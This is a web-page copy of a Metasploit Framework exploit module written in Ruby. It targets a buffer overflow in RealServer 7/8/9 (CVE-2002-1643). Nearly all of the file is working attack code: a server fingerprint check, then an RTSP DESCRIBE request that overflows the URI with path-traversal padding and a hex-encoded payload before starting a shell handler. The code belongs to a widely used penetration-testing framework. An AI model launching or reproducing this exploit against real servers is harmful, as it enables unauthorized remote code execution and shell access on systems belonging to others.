Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/realserver/describe.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'RealServer Describe Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in RealServer 7/8/9
18
and was based on Johnny Cyberpunk's THCrealbad exploit. This
19
code should reliably exploit Linux, BSD, and Windows-based
20
servers.
21
},
22
'Author' => 'hdm',
23
'References' => [
24
[ 'CVE', '2002-1643' ],
25
[ 'OSVDB', '4468']
26
],
27
'Privileged' => true,
28
'Payload' => {
29
'Space' => 2000,
30
'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
31
},
32
'Platform' => %w{bsd linux win},
33
'Targets' => [
34
[
35
'Universal',
36
{
37
'Platform' => %w{bsd linux win}
38
},
39
],
40
],
41
'DisclosureDate' => '2002-12-20',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
end
51
52
def check
53
res = send_request_raw(
54
{
55
'method' => 'OPTIONS',
56
'proto' => 'RTSP',
57
'version' => '1.0',
58
'uri' => '/'
59
}, 5
60
)
61
62
info = http_fingerprint({ :response => res }) # check method / Custom server check
63
if res and res['Server']
64
vprint_status("Found RTSP: #{res['Server']}")
65
return Exploit::CheckCode::Detected
66
end
67
Exploit::CheckCode::Safe
68
end
69
70
def exploit
71
print_status("RealServer universal exploit launched against #{rhost}")
72
print_status("Kill the master rmserver pid to prevent shell disconnect")
73
74
encoded = Rex::Text.to_hex(payload.encoded, "%")
75
76
res = send_request_raw({
77
'method' => 'DESCRIBE',
78
'proto' => 'RTSP',
79
'version' => '1.0',
80
'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
81
}, 5)
82
83
handler
84
end
85
end
86
87